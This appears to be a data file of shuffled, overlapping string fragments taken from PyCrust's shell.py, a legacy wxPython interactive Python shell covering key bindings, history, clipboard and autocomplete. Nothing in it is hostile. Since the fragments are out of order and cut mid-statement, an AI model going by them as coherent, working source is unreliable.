"single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include attibutes prefixed by a",
"prompt every time a command is issued. ps1 = str(sys.ps1) ps1size = len(ps1)",
"shell.run('print \"this\"') >>> print \"this\" this >>> \"\"\" # Go to the very",
"stoppos = self.promptPosEnd # Return (Enter) needs to be ignored in this handler.",
"elif controlDown and shiftDown \\ and key in (ord('V'), ord('v')): self.PasteAndRun() # Replace",
"# # This software is provided without warranty under the terms of the",
"the last command. if command != '' \\ and (len(self.history) == 0 or",
"searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for i in searchOrder: command =",
"on the clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel()",
"(wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2): faces['size'] -= 2 faces['lnsize'] -= 2",
"ENTER and we need to decide what to do. They could be #",
"methods and functions in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__",
"sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether text is word wrapped.\"\"\"",
"if not self.more: self.addHistory(command.rstrip()) for handler in self.handlers: handler() self.prompt() def addHistory(self, command):",
"faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\"",
"= -1 braceOpposite = -1 charBefore = None caretPos = self.GetCurrentPos() if caretPos",
"should work anywhere. elif key in NAVKEYS: event.Skip() # Protect the readonly portion",
"def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def",
"self.promptPosStart = 0 self.promptPosEnd = 0 # Keep track of multi-line commands. self.more",
"Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste and run multiple commands from clipboard. Ctrl+Up",
"is not available in this version of PyCrust.' def zoom(self, points=0): \"\"\"Set the",
"fm, 'Filling Options') m = self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust')",
"self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT,",
"startpos) if tip: curpos = self.GetCurrentPos() tippos = curpos - (len(name) + 1)",
".drag_and_drop import clipboard as enClipboard sys.ps3 = '<-- ' # Input prompt. NAVKEYS",
"is selected and can be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart()",
"Tip Options') if hasattr( self, 'crust' ): fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE,",
"user hit ENTER and we need to decide what to do. They could",
"offset = 0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display argument spec and docstring",
"we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command from",
"text[:ps1size] == ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size line",
"we need to see if there # is a selection that includes text",
"self.AutoCompActive(): self.AutoCompCancel() # Get the command between the prompt and the cursor. #",
"may include a shell prompt. The command may not necessarily be valid Python",
"or (shiftDown and key == WXK_DELETE): self.Cut() # Copy to the clipboard. elif",
"text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def",
"events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self, id,",
"1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self, text=''):",
"if not text.endswith(os.linesep): text += os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine,",
"pseudo keywords to the interpreter's namespace. try: self.setBuiltinKeywords() except: pass # Add 'shell'",
"= self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.rstrip() command",
"braceAtCaret = caretPos - 1 # Check after. if braceAtCaret < 0: charAfter",
"and user preferences. self.config() # Display the introductory banner information. try: self.showIntro(introText) except:",
"] list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name =",
"so we should just post the event and let the surrounding app #",
"__init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\" methods = ['ask', 'clear', 'pause', 'prompt', 'quit',",
"self.CallTipActive: self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos() self.write(argspec",
"is true then sys.stdin will come from the shell.\"\"\" if redirect: sys.stdin =",
"PyCrust Python Shell.', '__version__': VERSION, } # Add the dictionary that was passed",
"page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your source for Python programming expertise.\"\"\"",
"name in self.__dict__: self.__dict__[name] = value elif hasattr(self.other, name): return setattr(self.other, name, value)",
"event): tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree =",
"self.SetCurrentPos(endpos) command = command.rstrip() if prompt: self.prompt() if verbose: self.write(command) self.push(command) def runfile(self,",
"# Do this last so the user has complete control over their #",
"the context, either ps1, ps2 or ps3. If this is a continuation line,",
"Keep the undo feature from undoing previous responses. self.EmptyUndoBuffer() # XXX Add some",
"OnUpdateMenu(self, event): \"\"\"Update menu items based on current status.\"\"\" id = event.GetId() if",
"the clipboard. elif controlDown and not shiftDown \\ and key in (ord('C'), ord('c'),",
"event): tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree =",
"multi-line command from the editor. The command may not necessarily be valid Python",
"WXK_DELETE: if self.CanEdit(): event.Skip() elif key == WXK_TAB: if self.CanEdit() and not self.topLevelComplete():",
"% faces) def OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret = -1 braceOpposite",
"or (self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history))) +",
"text[:ps1size] == ps1: text = text[ps1size:] elif text[:ps2size] == ps2: text = text[ps2size:]",
"Author: Enthought, Inc. # Description: <Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell",
"they hit RETURN inside the current command, execute the command. if self.CanEdit(): self.SetCurrentPos(endpos)",
"the command if the 'Enter' key was pressed: key = event.GetKey() if key",
"wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS,",
"list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for i in searchOrder: command = self.history[i] if",
"event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id == ID_FILLING_SHOW_DOC: event.Check(self.crust.filling.fillingTree.showDoc) elif id",
"to take place. event.Skip() def OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\" # Prevent",
"Input prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform",
"action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the",
"key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the next command from the",
"can be restored by self.redirect* methods. self.stdin = sys.stdin self.stdout = sys.stdout self.stderr",
"text = self.GetCurLine()[0] # Strip the prompt off the front of text leaving",
"your response:'): \"\"\"Get response from the user using a dialog box.\"\"\" dialog =",
"\"close\", \"exit\" and \"quit\" to a helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close =",
"to 2.3.2 had a sizing bug on Win platform. # The font was",
"ps2 = str(sys.ps2) ps2size = len(ps2) # Strip the prompt off the front",
"completion. if self.AutoCompActive(): self.AutoCompCancel() # Get the command between the prompt and the",
"os.path.isfile(startupScript): startupText = 'Startup script executed: ' + startupScript self.push('print %s;execfile(%s)' % \\",
"'new century schoolbook', 'size' : 12, 'lnsize' : 10, 'backcol': '#FFFFFF', } class",
"> 0: self.historyMatches = matches = [] for command in self.history: if command[:n]",
"responses. self.EmptyUndoBuffer() # XXX Add some autoindent magic here if more. if self.more:",
"selection and place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() command",
"\"$Revision: 1.2 $\"[11:-2] from wx.wx import * from wx.stc import * import keyword",
"command and then press F9.) \"\"\" def help(self): \"\"\"Display some useful information about",
"= self.GetCurrentPos() startpos = self.promptPosEnd endpos = self.GetTextLength() # If they hit RETURN",
"ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods)",
"local imports from .drag_and_drop import PythonObject from .drag_and_drop import clipboard as enClipboard sys.ps3",
"ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC,",
"Replace line endings with OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self,",
"self.more: self.write(' '*4) # Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for",
"still in the oven.\\n\\n' + \\ 'Shell Revision: %s\\n' % self.shell.revision + \\",
"self.more = 0 def OnHistoryReplace(self, step): \"\"\"Replace with the previous/next command from the",
"- 1) # Check before. if charBefore and chr(charBefore) in '[]{}()' \\ and",
"+ \\ 'the other half is still in the oven.\\n\\n' + \\ 'Shell",
"= self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put the cursor back where we started.",
"some autoindent magic here if more. if self.more: self.write(' '*4) # Temporary hack",
"all attributes of other are still accessible, even though only some are visible",
"ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC,",
"getattr(other, method) d = self.__dict__ d['other'] = other d['helpText'] = \\ \"\"\" *",
"'&Redo \\tCtrl+Y', 'Redo the last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the",
"pass # Don't allow line deletion. elif controlDown and key in (ord('L'), ord('l')):",
"self.SetUseTabs(0) # Do we want to automatically pop up command completion options? self.autoComplete",
"line in lines] command = '\\n'.join(lines) if self.reader.isreading: if not command: # Match",
"place it on the clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if",
"and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy",
"shell.\"\"\" if text: if not text.endswith(os.linesep): text += os.linesep self.write(text) try: self.write(self.interp.introText) except",
"wxNewId() class ShellMenu: \"\"\"Mixin class to add standard menu items.\"\"\" def createMenus(self): m",
"event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id",
"Retrieve Next History item. Shift+Up Arrow Insert Previous History item. Shift+Down Arrow Insert",
"EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various defaults and user preferences. self.config() # Display",
"self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc =",
"\"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces)",
"command. else: # If the line contains a command (even an invalid one).",
"self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self, step):",
"def redirectStdin(self, redirect=1): \"\"\"If redirect is true then sys.stdin will come from the",
"make sure they want to quit. # Other applications, like PythonCard, may choose",
"self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put the cursor back where",
"Only allow these keys after the latest prompt. elif key == WXK_DELETE: if",
"def addHistory(self, command): \"\"\"Add command to the command history.\"\"\" # Reset the history",
"self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" %",
"self.prompt() def addHistory(self, command): \"\"\"Add command to the command history.\"\"\" # Reset the",
"room, only go back to the fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos, tip)",
"then sys.stderr will go to the shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr) else:",
"under the conditions described in the aforementioned license. The license # is also",
"previous command, decremented as you retrieve the # next, and reset when you",
"in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs to be aware of the",
"= wxNewId() class ShellMenu: \"\"\"Mixin class to add standard menu items.\"\"\" def createMenus(self):",
"the prompt. elif selecting and key not in NAVKEYS and not self.CanEdit(): pass",
"wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY,",
"self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command from the editor. The command",
"self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak() # If the auto-complete",
"CanEdit(self): \"\"\"Return true if editing should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart()",
"if self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return",
"commands = [] command = '' for line in lines: if line.strip() !=",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu)",
"and then press F8.) F9 Pop-up window of matching History items. (Type a",
"even though only some are visible to the user.\"\"\" name = 'PyCrust Shell",
"ps2: line += 1 self.GotoLine(line) stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command",
"Interpreter = InterpClass # Create default locals so we have something interesting. shellLocals",
"time a command is issued. ps1 = str(sys.ps1) ps1size = len(ps1) ps2 =",
"self.GetColumn(curpos) # In case there isn't enough room, only go back to the",
"'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text') m = self.autocompMenu",
"reader.input = '' reader.isreading = 0 return input def raw_input(self, prompt=''): \"\"\"Return string",
"wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId()",
"to leave the application.') def setLocalShell(self): \"\"\"Add 'shell' to locals as reference to",
"# GTK faces = { 'times' : 'Times', 'mono' : 'Courier', 'helv' :",
"the data # from our singleton clipboard instance data = enClipboard.data self.python_obj_paste_handler(data) finally:",
"of matching History items. (Type a few characters of a previous command and",
"OnCut(self, event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def OnClear(self,",
"data.GetText() command = command.rstrip() command = self.fixLineEndings(command) command = self.lstripPrompt(text=command) command = command.replace(os.linesep",
"and styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1 # Check after. if",
"pass def config(self): \"\"\"Configure shell based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40)",
"and chr(charBefore) in '[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos -",
"event if OnKeyDown calls event.Skip() for the corresponding event.\"\"\" # Prevent modification of",
"self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep + sys.ps2, '\\n') command =",
"the line of text at which the user hit Enter.\"\"\" # The user",
"key == ord('('): # The left paren activates a call tip and cancels",
"self.CanEdit(): return startpos = self.GetCurrentPos() # The text up to the cursor is",
"self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter) is used to submit",
"m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include attributes visible to __getattr__ and __setattr__', 1)",
"def OnAbout(self, event): \"\"\"Display an About PyCrust window.\"\"\" import sys title = 'About",
"previous/next command from the history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix = 1 self.historyMatches",
"text') m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show auto",
"Revision: %s\\n' % self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision + \\",
"command.find('\\\\n') >= 0: command += '\\\\n' command = command.replace( '\\\\n', os.linesep + sys.ps2)",
"return text def push(self, command): \"\"\"Send command to the interpreter for execution.\"\"\" self.write(os.linesep)",
"to the clipboard. elif (controlDown and key in (ord('X'), ord('x'))) \\ or (shiftDown",
"finally: file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic,",
"EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self,",
"for the text in front of the cursor. elif key == WXK_F8: self.OnHistorySearch()",
"previous/next command from the history buffer.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos()",
"line. Ctrl+C Copy selected text, removing prompts. Ctrl+Shift+C Copy selected text, retaining prompts.",
"AttributeError(name) def __setattr__(self, name, value): if name in self.__dict__: self.__dict__[name] = value elif",
"want. try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): # del self.interp pass def config(self):",
"Python programming expertise.\"\"\" from __future__ import print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__ =",
"# next, and reset when you hit Enter. self.historyIndex == -1 means #",
"command. command = self.lstripPrompt(text) if command == text: command = '' # Real",
"previously submitted commands/responses. key = event.KeyCode() controlDown = event.ControlDown() altDown = event.AltDown() shiftDown",
"ps1, ps2 or ps3. If this is a continuation line, autoindent as necessary.\"\"\"",
"to do something more interesting, like write to a status bar. print(text) def",
"on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() command = command.replace(os.linesep + sys.ps2,",
"event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id",
"by <NAME>,\\n' + \\ 'the other half is still in the oven.\\n\\n' +",
"ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO,",
"event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event):",
"be valid Python syntax.\"\"\" if not text: text = self.GetCurLine()[0] # Strip the",
"'Show __class__', 'Show __class__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__',",
"= 'Startup script executed: ' + startupScript self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript'))",
"command in self.history: if command[:n] == prefix and command not in matches: matches.append(command)",
"multiline. command = line else: # Multiline command. Add to the command. command",
"number of points is added to the size of all fonts. It may",
"WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__': faces = { 'times'",
"of a previous command and then press F9.) \"\"\" def help(self): \"\"\"Display some",
"wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not None: # note that the presence of",
": 'Times', 'mono' : 'Courier', 'helv' : 'Helvetica', 'other' : 'new century schoolbook',",
"Add 'shell' to the interpreter's local namespace. try: self.setLocalShell() except: pass # Do",
"else: sys.stdin = self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect is true then sys.stdout",
"level. This number of points is added to the size of all fonts.",
"user.\"\"\" name = 'PyCrust Shell Interface' revision = __revision__ def __init__(self, other): \"\"\"Create",
"parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create",
"self.clearCommand() self.write(command) # Otherwise, put the cursor back where we started. else: self.SetCurrentPos(thepos)",
"and shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs",
"d = self.__dict__ d['other'] = other d['helpText'] = \\ \"\"\" * Key bindings:",
"the history buffer.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos =",
"# XXX Good enough for now but later we want to send a",
"command): \"\"\"Display argument spec and docstring in a popup bubble thingie.\"\"\" if self.CallTipActive:",
"OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree",
"without entering a value. command = '\\n' self.reader.input = command self.write(os.linesep) else: self.push(command)",
"+ sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether text is word",
"ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE",
"version of PyCrust.' def zoom(self, points=0): \"\"\"Set the zoom level. This number of",
"__dict__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries",
"into middle of the history. self.historyIndex = i break def setStatusText(self, text): \"\"\"Display",
"'PyCrust Shell Interface' revision = __revision__ def __init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\"",
"They can override anything they want. try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): #",
"If the auto-complete window is up let it do its thing. elif self.AutoCompActive():",
"commands from clipboard. Ctrl+Up Arrow Retrieve Previous History item. Alt+P Retrieve Previous History",
"command = '\\n' self.reader.input = command self.write(os.linesep) else: self.push(command) # Or replace the",
"works. text = self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size] == ps2 and line",
"# Add the '(' to the end of the command. self.ReplaceSelection('') command =",
"history position and loop back # to the beginning if we don't find",
"text at which the user hit Enter.\"\"\" # The user hit ENTER and",
"or command != self.history[0]): self.history.insert(0, command) def write(self, text): \"\"\"Display text in the",
"while not reader.input: wxYield() input = reader.input finally: reader.input = '' reader.isreading =",
"\"\"\"Return string based on user input.\"\"\" if prompt: self.write(prompt) return self.readline() def ask(self,",
"that was passed in. if locals: shellLocals.update(locals) # Create a replacement for stdin.",
"self.SetSelection(endpos, startpos) if tip: curpos = self.GetCurrentPos() tippos = curpos - (len(name) +",
"return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search",
"Multiline command. Add to the command. command += '\\n' command += line commands.append(command)",
"auto completion. if self.AutoCompActive(): self.AutoCompCancel() # Get the command between the prompt and",
"'Redo the last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY,",
"Versions of wxPython prior to 2.3.2 had a sizing bug on Win platform.",
"event.Skip() # Let Ctrl-Alt-* get handled normally. elif controlDown and altDown: event.Skip() #",
"chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key == ord('('): # The left paren",
"event handler.\"\"\" # Prevent modification of previously submitted commands/responses. key = event.KeyCode() controlDown",
"Paste and run multiple commands from clipboard. Ctrl+Up Arrow Retrieve Previous History item.",
"this handler. if key == WXK_RETURN: pass elif key in self.autoCompleteKeys: # Usually",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event):",
"\"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp $\" __revision__",
"def OnHistoryReplace(self, step): \"\"\"Replace with the previous/next command from the history buffer.\"\"\" if",
"in the shell. Replace line endings with OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text)",
"only flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n' + \\ 'the other half is",
"str(sys.ps2) ps2size = len(ps2) # Strip the prompt off the front of text.",
"all text') m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show",
"if self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('')",
"a previous command and then press F9.) \"\"\" def help(self): \"\"\"Display some useful",
"(shiftDown and key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the history",
"= \\ \"\"\" * Key bindings: Home Go to the beginning of the",
"= self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS,",
"if n > 0: self.historyMatches = matches = [] for command in self.history:",
"place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() data = wxTextDataObject(command)",
"i in searchOrder: command = self.history[i] if command[:len(searchText)] == searchText: # Replace the",
"self.Paste() # Paste from the clipboard, run commands. elif controlDown and shiftDown \\",
"\\ and key in (ord('V'), ord('v')): self.PasteAndRun() # Replace with the previous command",
"prompt = str(sys.ps3) elif self.more: prompt = str(sys.ps2) else: prompt = str(sys.ps1) pos",
"if history is None: history = self.history newindex = self.historyIndex + step if",
"method will most likely be replaced by the enclosing app # to do",
"semi-transparent facade, in that all attributes of other are still accessible, even though",
"including prompts. elif controlDown and shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT):",
"self.OnChar) # Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected)",
"%s\\n' % sys.version.split()[0] + \\ 'wxPython Version: %s\\n' % wx.__version__ + \\ 'Platform:",
"shell. thepos = self.GetCurrentPos() startpos = self.promptPosEnd endpos = self.GetTextLength() # If they",
"= event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip =",
"command = data.GetText() command = command.rstrip() command = self.fixLineEndings(command) command = self.lstripPrompt(text=command) command",
"<= len(history)-1: command = history[self.historyIndex] command = command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def",
